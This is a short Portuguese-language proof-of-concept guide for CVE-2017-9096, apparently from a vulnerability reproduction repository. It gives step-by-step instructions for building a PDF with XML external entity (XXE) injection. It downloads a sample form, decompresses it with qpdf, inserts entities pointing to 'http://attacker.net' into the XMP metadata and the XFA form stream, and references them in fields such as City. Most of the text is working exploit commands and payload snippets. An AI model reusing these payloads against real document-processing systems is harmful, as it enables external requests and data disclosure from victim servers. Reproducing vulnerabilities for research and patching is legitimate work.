CVE-2017-9096

1. Criando o PDF malicioso contendo XXE

Obtenha um PDF contendo um formulário:

wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf

Descomprimir PDF

Para isso, você precisa descomprimir o PDF com qpdf --qdf --object-streams=disable input.pdf output.pdf e então editar o PDF com um editor de texto e adicionar XML malicioso.

Adicionar as entidades externas

Você pode colocar XEE nos metadados XMP na linha 77:

stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">

E é claro, coloque a referência também em algum lugar, ex. linha 88:

<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>

Você também pode adicionar um XXE comum ao arquivo. Veja esta parte no documento original (começa na linha 740):

stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

Altere para o seguinte:

stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

Então, apenas adicione a referência em algum lugar, ex. no campo Cidade (linha 1845 no documento descomprimido original). Altere isto:

<text
>City:</text
></value
>

Para isto:

<text
>City:</text
><xxe>&xxe;</xxe></value
>

Você também encontra o PDF corrigido contendo ambos os XXE neste repositório (output_with_xxe.pdf)

2. Realizar o ataque

Execute o aplicativo Java para testar o PDF com mvn clean compile exec:java.